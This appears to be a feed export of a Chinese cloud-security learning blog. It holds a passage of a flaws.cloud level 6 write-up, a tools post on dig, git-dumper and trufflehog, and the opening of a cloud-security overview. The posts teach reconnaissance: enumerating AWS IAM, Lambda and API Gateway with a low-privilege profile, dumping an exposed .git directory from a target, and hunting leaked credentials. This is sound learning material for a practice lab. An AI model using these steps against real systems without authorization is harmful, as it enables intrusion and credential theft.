align="left"><strong>网络与数据</strong></td><td align="left">安全组规则、网络 ACL、S3 存储桶策略、加密密钥 (KMS) 的元数据。</td></tr></tbody></table><p>查看当前用户</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ aws iam get-user --profile level6</span><br><span class="line">{</span><br><span class="line">    <span class="string">"User"</span>: {</span><br><span class="line">        <span class="string">"Path"</span>: <span class="string">"/"</span>,</span><br><span class="line">        <span class="string">"UserName"</span>: <span class="string">"Level6"</span>,</span><br><span class="line">        <span class="string">"UserId"</span>: <span class="string">"AIDAIRMDOSCWGLCDWOG6A"</span>,</span><br><span class="line">        <span class="string">"Arn"</span>: <span class="string">"arn:aws:iam::************:user/Level6"</span>,</span><br><span class="line">        <span class="string">"CreateDate"</span>: <span class="string">"2017-02-26T23:11:16+00:00"</span></span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>查看附加策略</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ aws iam list-attached-user-policies \</span><br><span class="line">--user-name Level6 \</span><br><span class="line">--profile level6</span><br><span class="line">{</span><br><span class="line">    <span class="string">"AttachedPolicies"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"PolicyName"</span>: <span class="string">"MySecurityAudit"</span>,</span><br><span class="line">            <span class="string">"PolicyArn"</span>: <span class="string">"arn:aws:iam::************:policy/MySecurityAudit"</span></span><br><span class="line">        },</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"PolicyName"</span>: <span class="string">"list_apigateways"</span>,</span><br><span class="line">            <span class="string">"PolicyArn"</span>: <span class="string">"arn:aws:iam::************:policy/list_apigateways"</span></span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>查看策略内容</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">aws iam get-policy \</span><br><span class="line">--policy-arn arn:aws:iam::************:policy/list_apigateways \</span><br><span class="line">--profile level6</span><br></pre></td></tr></tbody></table></figure><p>发现</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"Action"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">"apigateway:GET"</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"Resource"</span><span class="punctuation">:</span> <span class="string">"arn:aws:apigateway:us-west-2::/restapis/*"</span></span><br></pre></td></tr></tbody></table></figure><p>枚举 Lambda 函数</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">$ aws lambda list-functions --region us-west-2 --profile level6</span><br><span class="line">{</span><br><span class="line">    <span class="string">"Functions"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"FunctionName"</span>: <span class="string">"Level6"</span>,</span><br><span class="line">            <span class="string">"FunctionArn"</span>: <span class="string">"arn:aws:lambda:us-west-2:************:function:Level6"</span>,</span><br><span class="line">            <span class="string">"Runtime"</span>: <span class="string">"python2.7"</span>,</span><br><span class="line">            <span class="string">"Role"</span>: <span class="string">"arn:aws:iam::************:role/service-role/Level6"</span>,</span><br><span class="line">            <span class="string">"Handler"</span>: <span class="string">"lambda_function.lambda_handler"</span>,</span><br><span class="line">            <span class="string">"CodeSize"</span>: 282,</span><br><span class="line">            <span class="string">"Description"</span>: <span class="string">"A starter AWS Lambda function."</span>,</span><br><span class="line">            <span class="string">"Timeout"</span>: 3,</span><br><span class="line">            <span class="string">"MemorySize"</span>: 128,</span><br><span class="line">            <span class="string">"LastModified"</span>: <span class="string">"2017-02-27T00:24:36.054+0000"</span>,</span><br><span class="line">            <span class="string">"CodeSha256"</span>: <span class="string">"2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw="</span>,</span><br><span class="line">            <span class="string">"Version"</span>: <span class="string">"<span class="variable">$LATEST</span>"</span>,</span><br><span class="line">            <span class="string">"TracingConfig"</span>: {</span><br><span class="line">                <span class="string">"Mode"</span>: <span class="string">"PassThrough"</span></span><br><span class="line">            },</span><br><span class="line">            <span class="string">"RevisionId"</span>: <span class="string">"d45cc6d9-f172-4634-8d19-39a20951d979"</span>,</span><br><span class="line">            <span class="string">"PackageType"</span>: <span class="string">"Zip"</span>,</span><br><span class="line">            <span class="string">"Architectures"</span>: [</span><br><span class="line">                <span class="string">"x86_64"</span></span><br><span class="line">            ],</span><br><span class="line">            <span class="string">"EphemeralStorage"</span>: {</span><br><span class="line">                <span class="string">"Size"</span>: 512</span><br><span class="line">            },</span><br><span class="line">            <span class="string">"SnapStart"</span>: {</span><br><span class="line">                <span class="string">"ApplyOn"</span>: <span class="string">"None"</span>,</span><br><span class="line">                <span class="string">"OptimizationStatus"</span>: <span class="string">"Off"</span></span><br><span class="line">            },</span><br><span class="line">            <span class="string">"LoggingConfig"</span>: {</span><br><span class="line">                <span class="string">"LogFormat"</span>: <span class="string">"Text"</span>,</span><br><span class="line">                <span class="string">"LogGroup"</span>: <span class="string">"/aws/lambda/Level6"</span></span><br><span class="line">            }</span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>查看 Lambda Resource Policy</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ aws lambda get-policy \</span><br><span class="line">--function-name Level6 \</span><br><span class="line">--region us-west-2 \</span><br><span class="line">--profile level6</span><br><span class="line">{</span><br><span class="line">    <span class="string">"Policy"</span>: <span class="string">"{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:************:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:************:s33ppypa75/*/GET/level6\"}}}]}"</span>,</span><br><span class="line">    <span class="string">"RevisionId"</span>: <span class="string">"edaca849-06fb-4495-a09c-3bc6115d3b87"</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>从中获取了 <strong>API Gateway ID</strong>：<code>s33ppypa75</code></p><p>查询 Stage</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ aws apigateway get-stages \</span><br><span class="line">--rest-api-id s33ppypa75 \</span><br><span class="line">--region us-west-2 \</span><br><span class="line">--profile level6</span><br><span class="line">{</span><br><span class="line">    <span class="string">"item"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"deploymentId"</span>: <span class="string">"8gppiv"</span>,</span><br><span class="line">            <span class="string">"stageName"</span>: <span class="string">"Prod"</span>,</span><br><span class="line">            <span class="string">"cacheClusterEnabled"</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="string">"cacheClusterStatus"</span>: <span class="string">"NOT_AVAILABLE"</span>,</span><br><span class="line">            <span class="string">"methodSettings"</span>: {},</span><br><span class="line">            <span class="string">"tracingEnabled"</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="string">"createdDate"</span>: <span class="string">"2017-02-27T00:26:08+00:00"</span>,</span><br><span class="line">            <span class="string">"lastUpdatedDate"</span>: <span class="string">"2017-02-27T00:26:08+00:00"</span></span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>根据 AWS API Gateway URL 规则：</p><p><code>https://&lt;rest-api-id&gt;.execute-api.&lt;region&gt;.amazonaws.com/&lt;stage&gt;/&lt;resource&gt;</code>得到这道题是</p><p><a href="https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6%E8%AE%BF%E9%97%AE%E5%B0%B1%E9%80%9A%E5%85%B3%E4%BA%86">https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6访问就通关了</a></p><h3 id="知识点"><a href="#知识点" class="headerlink" title="知识点"></a>知识点</h3><ol><li><strong>SecurityAudit</strong> 不只是读 IAM，也能发现潜在敏感资源。</li><li><strong>Lambda Resource Policy</strong> 可以泄露 API Gateway ID。</li><li><strong>API Gateway URL 构造规则</strong>：<code>https://&lt;rest-api-id&gt;.execute-api.&lt;region&gt;.amazonaws.com/&lt;stage&gt;/&lt;resource&gt;</code></li><li>现实云渗透学习点：<ul><li>只读权限也能用策略组合发现敏感资源</li><li>Lambda + API Gateway 是常见敏感资源泄露点</li><li>IAM 策略和 Resource Policy 是最常被忽略的安全面</li></ul></li></ol></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/Cloud-Security02/</id>
    <link href="https://blog.btop251.top/Cloud-Security/Cloud-Security02/"/>
    <published>2026-06-01T00:00:00.000Z</published>
    <summary>flaws.cloud靶场练习</summary>
    <title>云安全02</title>
    <updated>2026-06-02T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="工具" scheme="https://blog.btop251.top/tags/%E5%B7%A5%E5%85%B7/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="dig-DNS解析工具"><a href="#dig-DNS解析工具" class="headerlink" title="dig-DNS解析工具"></a>dig-DNS解析工具</h1><p>dig（Domain Information Groper）是 Linux 下最常用的 DNS 查询工具。</p><p>它的作用类似于：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nslookup</span><br></pre></td></tr></tbody></table></figure><p>但功能比 nslookup 强得多。</p><p>可以用来：</p><ul><li>查询域名解析记录</li><li>查询DNS服务器</li><li>查询子域名</li><li>调试DNS问题</li><li>发现云资产</li><li>验证CDN</li><li>进行信息收集</li></ul><p>在云安全和CTF中，经常用它来：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">枚举资产</span><br><span class="line">寻找真实IP</span><br><span class="line">发现隐藏域名</span><br><span class="line">分析云厂商配置错误</span><br></pre></td></tr></tbody></table></figure><p>Ubuntu安装：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install dnsutils</span><br></pre></td></tr></tbody></table></figure><p>验证安装：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dig -v</span><br><span class="line">DiG 9.18.24</span><br></pre></td></tr></tbody></table></figure><h2 id="直接开始使用"><a href="#直接开始使用" class="headerlink" title="直接开始使用"></a>直接开始使用</h2><p>最简单的查询</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ dig baidu.com</span><br><span class="line"></span><br><span class="line">; &lt;&lt;&gt;&gt; DiG 9.20.18-1ubuntu2.1-Ubuntu &lt;&lt;&gt;&gt; baidu.com</span><br><span class="line">;; global options: +cmd</span><br><span class="line">;; Got answer:</span><br><span class="line">;; -&gt;&gt;HEADER&lt;&lt;- <span class="string">opcode: QUERY, status: NOERROR, id: 16423</span></span><br><span class="line"><span class="string">;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; OPT PSEUDOSECTION:</span></span><br><span class="line"><span class="string">; EDNS: version: 0, flags:; udp: 65494</span></span><br><span class="line"><span class="string">;; QUESTION SECTION:</span></span><br><span class="line"><span class="string">;baidu.com.                     IN      A</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; ANSWER SECTION:</span></span><br><span class="line"><span class="string">baidu.com.              149     IN      A       124.237.177.164</span></span><br><span class="line"><span class="string">baidu.com.              149     IN      A       110.242.74.102</span></span><br><span class="line"><span class="string">baidu.com.              149     IN      A       111.63.65.103</span></span><br><span class="line"><span class="string">baidu.com.              149     IN      A       111.63.65.247</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; Query time: 2 msec</span></span><br><span class="line"><span class="string">;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)</span></span><br><span class="line"><span class="string">;; WHEN: Mon Jun 01 07:28:09 UTC 2026</span></span><br><span class="line"><span class="string">;; MSG SIZE  rcvd: 102</span></span><br></pre></td></tr></tbody></table></figure><ol><li>头部信息 (HEADER)</li></ol><ul><li><strong><code>opcode: QUERY</code></strong>：操作是标准查询。</li><li><strong><code>status: NOERROR</code></strong>：<strong>成功</strong>，没有错误。</li><li><strong><code>id: 12345</code></strong>：这次查询的编号。</li></ul><ol start="2"><li>问题区 (QUESTION SECTION)</li></ol><ul><li><strong><code>;baidu.com. IN A</code></strong>：你问的问题是“查询 <code>baidu.com</code> 的 <code>A</code> 记录（IPv4地址）”。</li></ul><ol start="3"><li>答案区 (ANSWER SECTION)</li></ol><ul><li><strong><code>baidu.com. 600 IN A 39.156.66.10</code></strong>：核心答案。<ul><li><code>600</code>：TTL（缓存时间），600秒。</li><li><code>A</code>：记录类型，IPv4地址。</li><li><code>39.156.66.10</code>：查询到的IP地址。</li></ul></li></ul><ol start="4"><li>统计信息 (Footer)</li></ol><ul><li><strong><code>Query time: 8 msec</code></strong>：耗时8毫秒。</li><li><strong><code>SERVER: 223.5.5.5#53</code></strong>：<strong>谁回答了你的问题</strong>（这里是阿里云DNS，说明你用的是阿里公共DNS，不是本地缓存）。</li></ul><table><thead><tr><th align="left">DNS记录类型</th><th align="left">作用</th><th align="left">通俗理解</th><th align="left">示例</th></tr></thead><tbody><tr><td align="left"><strong>A</strong></td><td align="left">域名 → IPv4 地址</td><td align="left">告诉你去哪台服务器</td><td align="left"><code>baidu.com → 39.156.66.10</code></td></tr><tr><td align="left"><strong>AAAA</strong></td><td align="left">域名 → IPv6 地址</td><td align="left">A 记录的 IPv6 版本</td><td align="left"><code>→ 2001:db8::1</code></td></tr><tr><td align="left"><strong>CNAME</strong></td><td align="left">域名 → 另一个域名</td><td align="left">起外号/跳转</td><td align="left"><code>www.baidu.com → baidu.com</code></td></tr><tr><td align="left"><strong>MX</strong></td><td align="left">邮件服务器地址</td><td align="left">你的邮件该寄到哪</td><td align="left"><code>@gmail.com → aspmx.l.google.com</code></td></tr><tr><td align="left"><strong>TXT</strong></td><td align="left">纯文本信息</td><td align="left">存各种验证信息、SPF、DKIM</td><td align="left"><code>v=spf1 include:_spf.google.com ~all</code></td></tr><tr><td align="left"><strong>NS</strong></td><td align="left">域名的 DNS 服务器</td><td align="left">谁负责管这个域名的解析</td><td align="left"><code>baidu.com → ns1.baidu.com</code></td></tr><tr><td align="left"><strong>PTR</strong></td><td align="left">IP → 域名（反向查询）</td><td align="left">A 记录的逆向</td><td align="left"><code>39.156.66.10 → baidu.com</code></td></tr><tr><td align="left"><strong>SOA</strong></td><td align="left">权威 DNS 服务器信息</td><td align="left">域名的“出生证明”，记录谁负责、版本等</td><td align="left">-</td></tr></tbody></table><h3 id="short参数"><a href="#short参数" class="headerlink" title="+short参数"></a>+short参数</h3><p>实际工作最常用。</p><p>普通：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig baidu.com</span><br></pre></td></tr></tbody></table></figure><p>输出几十行。</p><p>简洁：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig baidu.com +short</span><br></pre></td></tr></tbody></table></figure><p>结果：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">39.156.66.10</span><br></pre></td></tr></tbody></table></figure><p>脚本里大量使用。</p><h3 id="指定DNS服务器查询"><a href="#指定DNS服务器查询" class="headerlink" title="指定DNS服务器查询"></a>指定DNS服务器查询</h3><p>默认：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">使用系统DNS</span><br></pre></td></tr></tbody></table></figure><p>例如：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /etc/resolv.conf</span><br></pre></td></tr></tbody></table></figure><hr><p>指定DNS：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig @8.8.8.8 baidu.com</span><br></pre></td></tr></tbody></table></figure><p>或者：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig @1.1.1.1 baidu.com</span><br></pre></td></tr></tbody></table></figure><p>意思：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">直接问Google DNS</span><br></pre></td></tr></tbody></table></figure><p>或者：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">直接问Cloudflare DNS</span><br></pre></td></tr></tbody></table></figure><p>在CTF里经常用于绕过污染。</p><h4 id="常用公共-DNS-服务器列表"><a href="#常用公共-DNS-服务器列表" class="headerlink" title="常用公共 DNS 服务器列表"></a>常用公共 DNS 服务器列表</h4><table><thead><tr><th align="left">DNS 服务器</th><th align="left">IP 地址</th><th align="left">运营方</th><th align="left">特点</th></tr></thead><tbody><tr><td align="left"><strong>Google Public DNS</strong></td><td align="left"><code>8.8.8.8</code> / <code>8.8.4.4</code></td><td align="left">8.8.8.8</td><td align="left">全球最快之一，无劫持，有EDNS支持</td></tr><tr><td align="left"><strong>Cloudflare DNS</strong></td><td align="left"><code>1.1.1.1</code> / <code>1.0.0.1</code></td><td align="left">Cloudflare</td><td align="left">主打隐私保护，速度极快，支持DNS over TLS/HTTPS</td></tr><tr><td align="left"><strong>Quad9</strong></td><td align="left"><code>9.9.9.9</code> / <code>149.112.112.112</code></td><td align="left">Quad9</td><td align="left">安全加固，会拦截已知恶意域名</td></tr><tr><td align="left"><strong>阿里 DNS</strong></td><td align="left"><code>223.5.5.5</code> / <code>223.6.6.6</code></td><td align="left">阿里巴巴</td><td align="left">国内解析快，适合国内用户</td></tr><tr><td align="left"><strong>114 DNS</strong></td><td align="left"><code>114.114.114.114</code> / <code>114.114.115.115</code></td><td align="left">114</td><td align="left">国内老牌，稳定，但有一定劫持争议</td></tr><tr><td align="left"><strong>OpenDNS</strong></td><td align="left"><code>208.67.222.222</code> / <code>208.67.220.220</code></td><td align="left">Cisco</td><td align="left">有家长控制和钓鱼拦截功能</td></tr><tr><td align="left"><strong>DNSPod</strong></td><td align="left"><code>119.29.29.29</code></td><td align="left">腾讯</td><td align="left">国内解析快，适合国内用户</td></tr></tbody></table><h3 id="trace-原理"><a href="#trace-原理" class="headerlink" title="+trace 原理"></a>+trace 原理</h3><p>这个是学习DNS最有价值的参数。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig baidu.com +trace</span><br></pre></td></tr></tbody></table></figure><p>会看到：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">根服务器</span><br><span class="line"> ↓</span><br><span class="line">.com服务器</span><br><span class="line"> ↓</span><br><span class="line">baidu.com权威DNS</span><br><span class="line"> ↓</span><br><span class="line">最终结果</span><br></pre></td></tr></tbody></table></figure><p>流程类似：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── root</span><br><span class="line">│</span><br><span class="line">└── com</span><br><span class="line">      │</span><br><span class="line">      └── baidu.com</span><br><span class="line">               │</span><br><span class="line">               └── www.baidu.com</span><br></pre></td></tr></tbody></table></figure><p>这就是DNS递归解析全过程。</p><p>云安全面试经常问：</p><blockquote><p>DNS解析过程是什么？</p></blockquote><p>直接跑一遍：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig 域名 +trace</span><br></pre></td></tr></tbody></table></figure><p>就能看明白。</p><h3 id="反向解析"><a href="#反向解析" class="headerlink" title="反向解析"></a>反向解析</h3><p>已知IP找域名：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig -x 8.8.8.8</span><br></pre></td></tr></tbody></table></figure><p>结果：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dns.google</span><br></pre></td></tr></tbody></table></figure><p>云安全常用：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">发现服务器真实用途</span><br></pre></td></tr></tbody></table></figure><h1 id="git-dumper"><a href="#git-dumper" class="headerlink" title="git-dumper"></a>git-dumper</h1><p>用于拉取远端的完整git，在本地查看</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pip install git-dumper</span><br><span class="line">git-dumper --<span class="built_in">help</span></span><br></pre></td></tr></tbody></table></figure><p>使用</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git-dumper http://&lt;目标IP&gt;:&lt;端口&gt;/.git/ ./dumped_source</span><br></pre></td></tr></tbody></table></figure><p>这样就拉去到了本地的dumped_source上</p><h1 id="trufflehog"><a href="#trufflehog" class="headerlink" title="trufflehog"></a>trufflehog</h1><p>TruffleHog 是一款用于发现、验证和分析泄露凭据的开源安全工具。它的核心优势在于能深入 Git 提交历史查找秘密，并主动调用相关 API 验证凭据是否真实有效，从而大幅减少误报。</p><p>安装</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | <span class="built_in">sudo</span> sh -s -- -b /usr/local/bin</span><br><span class="line">trufflehog --version</span><br></pre></td></tr></tbody></table></figure><p>使用</p><p><strong>扫描git仓库</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">trufflehog git https://github.com/your-org/your-repo.git</span><br></pre></td></tr></tbody></table></figure><p><strong>仅显示已验证的凭据</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">trufflehog git file:///path/to/local/repo --only-verified</span><br></pre></td></tr></tbody></table></figure><p><strong>扫描本地文件系统</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">trufflehog filesystem /path/to/scan</span><br></pre></td></tr></tbody></table></figure><p><strong>扫描 GitHub 组织</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">trufflehog github --org=your-org-name --token=YOUR_GITHUB_TOKEN</span><br></pre></td></tr></tbody></table></figure><p>你需要提供一个有权限访问该组织仓库的 GitHub Token</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/Cloud_Security_tools/</id>
    <link href="https://blog.btop251.top/Cloud-Security/Cloud_Security_tools/"/>
    <published>2026-06-01T00:00:00.000Z</published>
    <summary>一个工具开一篇博客的话就太水了，还是整合到一起讲吧</summary>
    <title>云安全工具（持续更新</title>
    <updated>2026-06-01T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><blockquote><p>云安全不是一种新的漏洞利用技术，而是当基础设施迁移到云上之后，安全边界从“服务器”扩展到了“身份、权限和云资源”，从而产生的一整套新的攻防体系。</p></blockquote><p>先分享一个云安全的知识库：</p><p><a href="https://github.com/teamssix/awesome-cloud-security">teamssix/awesome-cloud-security: awesome cloud security 收集一些国内外不错的云安全资源，该项目主要面向国内的安全人员</a></p><p>感谢yuppt师傅的分享，大家可以去b站给yu师傅点点赞投投币orz</p><p>这一篇博客并没有关于云安全的具体知识点，更多的是建立起一个大观框架，我觉得这样比一股脑钻进那些陌生的名词中更好理解</p><p>另：我写博客肯定是按照我的视角做学习的记录的，所以不一定适合别人参考，要是能帮到你更好</p><h2 id="为什么会有云安全"><a href="#为什么会有云安全" class="headerlink" title="为什么会有云安全"></a>为什么会有云安全</h2><p>要理解云安全，首先要理解系统部署方式的变化。</p><p>在传统服务器时代，企业通常自己购买服务器、部署机房、安装系统、配置网络，然后在服务器上运行 Web 服务、数据库、中间件等组件。</p><p>这时安全人员关注的重点通常是：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Web 应用漏洞</span><br><span class="line">服务器入侵</span><br><span class="line">系统提权</span><br><span class="line">数据库安全</span><br><span class="line">内网渗透</span><br></pre></td></tr></tbody></table></figure><p>例如 SQL 注入、XSS、文件上传、命令执行、Linux 提权等，都是传统 Web 安全和 CTF 中非常常见的内容。</p><p>后来，越来越多企业开始使用云计算。</p><p>企业不再需要自己购买大量物理服务器，而是通过云厂商购买计算、存储、数据库、网络、容器、日志、监控等服务。</p><p>部署模式变成了：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">开发者</span><br><span class="line">  